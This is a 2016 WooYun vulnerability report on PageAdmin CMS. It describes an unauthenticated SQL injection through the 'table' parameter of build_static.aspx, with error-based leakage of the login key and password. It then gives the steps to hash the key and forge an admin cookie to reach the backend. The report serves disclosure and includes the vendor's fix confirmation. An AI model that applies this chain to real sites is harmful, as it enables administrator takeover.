当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0177673

漏洞标题:PageAdmin CMS最新版SQL注入(官方DEMO测试)

相关厂商:pageadmin.net

漏洞作者: JutaZ

提交时间:2016-02-22 15:06

修复时间:2016-05-22 15:20

公开时间:2016-05-22 15:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-22: 细节已通知厂商并且等待厂商处理中
2016-02-22: 厂商已经确认,细节仅向厂商公开
2016-02-25: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-17: 细节向核心白帽子及相关领域专家公开
2016-04-27: 细节向普通白帽子公开
2016-05-07: 细节向实习白帽子公开
2016-05-22: 细节向公众公开

简要描述:

PageAdmin CMS最新版SQL注入

详细说明:

#1 一个越权 /e/master/build_static.aspx

protected void Page_Load(Object src,EventArgs e)
{
Ids=Request.QueryString["ids"];
Table=Request.QueryString["table"];
Conn Myconn=new Conn();
conn=Myconn.OleDbConn();//获取OleDbConnection
switch(Table)
{
case "pa_zt":
Build_Lanmu();
break;
case "pa_zt_sublanmu":
Build_SubLanmu();
break;
case "pa_lanmu":
Build_Lanmu();
break;
case "pa_sublanmu":
Build_SubLanmu();
break;
default:
Build_Detail();
break;
}
}


#2 注入点

private void Build_Detail()
{
conn.Open();
if(Ids!=null && IsNum(Ids.Replace(",","")))
{
Build_Html BH=new Build_Html();
if(IsNum(Ids))
{
sql="select id,site_dir,static_dir,static_file,lanmu_id,sublanmu_id from "+Table+" where html=2 and id="+Ids;
}
else
{
sql="select id,site_dir,static_dir,static_file,lanmu_id,sublanmu_id from "+Table+" where html=2 and id in("+Ids+")";
}
OleDbCommand comm=new OleDbCommand(sql,conn);
OleDbDataReader dr=comm.ExecuteReader();
while(dr.Read())
{
try
{
BH.Build_Detail(dr["site_dir"].ToString(),dr["static_dir"].ToString(),dr["static_file"].ToString(),dr["lanmu_id"].ToString(),dr["sublanmu_id"].ToString(),dr["id"].ToString());
}
catch(Exception e)
{
LocalUrl="http://"+Request.ServerVariables["SERVER_NAME"]+":"+Request.ServerVariables["SERVER_PORT"];
SiteDir=dr["site_dir"].ToString();
SiteDir=(SiteDir==""?"/":("/"+SiteDir+"/"));
ErrorUrl=LocalUrl+SiteDir+"index.aspx?lanmuid="+dr["lanmu_id"].ToString()+"&sublanmuid="+dr["sublanmu_id"].ToString()+"&id="+dr["id"].ToString();
Response.Write(ErrorUrl+"生成失败:"+e.Message);
Response.End();
break;
}
}
dr.Close();
conn.Close();
Response.Write("success");
Response.End();
}
Response.Write("Invalid Ids");
Response.End();
}


其中Table参数可构造:

sql="select id,site_dir,static_dir,static_file,lanmu_id,sublanmu_id from "+Table+" where html=2 and id="+Ids;


且会产生错误回显:

ErrorUrl=LocalUrl+SiteDir+"index.aspx?lanmuid="+dr["lanmu_id"].ToString()+"&sublanmuid="+dr["sublanmu_id"].ToString()+"&id="+dr["id"].ToString();
Response.Write(ErrorUrl+"生成失败:"+e.Message);


#3 构造请求可得到login_key(见POC),鉴权cookie中的valicate由以下代码生成,且LoginKey被存入数据库login_key字段:

string LoginKey=Guid.NewGuid().ToString("N")+LoginDate.AddSeconds(r.Next(1,2592000)).ToString("yyMMddHHmmss");
Md5 Jm=new Md5();
HttpCookie MCookie=new HttpCookie("Member");
MCookie.Values.Add("UID",UID);
MCookie.Values.Add("Valicate",Jm.Get_Md5(LoginKey));
Response.AppendCookie(MCookie);
Update_Member(UID,LoginDate,LoginKey);


#4 利用本地pageadmin环境进行login_key的加密:

新建test.aspx<% @ Import NameSpace="System.Data.OleDb"%>
<% @ Import NameSpace="PageAdmin"%>
<script Language="C#" Runat="server">
protected void Page_Load(Object sender,EventArgs e)
{
string loginkey=Request.QueryString["loginkey"];
Response.Write(new Md5().Get_Md5(loginkey));
}
</script>


#5伪造cookie即可进入后台

**.**.**.** FALSE / FALSE Master UID=2&Valicate=abd2128c766f990f7b4ec19c137e452117db
**.**.**.** FALSE / ALSE SiteId 1

漏洞证明:

#1使用poc获取报错

pageadmin1.png


http://**.**.**.**:80/2/index.aspx?lanmuid=bae915239122142b5101e319cf516ef3e371121&sublanmuid=f3fac35c66184f9281b221fa41ddbf59_160123191804&id=2生成失败:The remote server returned an error: (404) Not Found.

其中sublanmuid的值为login_key,lanmuid的值为密码
#2得到加密后的valicate
abd2128c766f990f7b4ec19c137e452117db
#3伪造cookie进入后台

pageadmin2.jpg


pageadmin3.png


修复方案:

#1 页面鉴权
#2 sql_format

版权声明:转载请注明来源 JutaZ@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-02-22 15:19

厂商回复:

谢谢,已经确认存在此问题,已经在新的升级包中更新了此问题。

最新状态:

暂无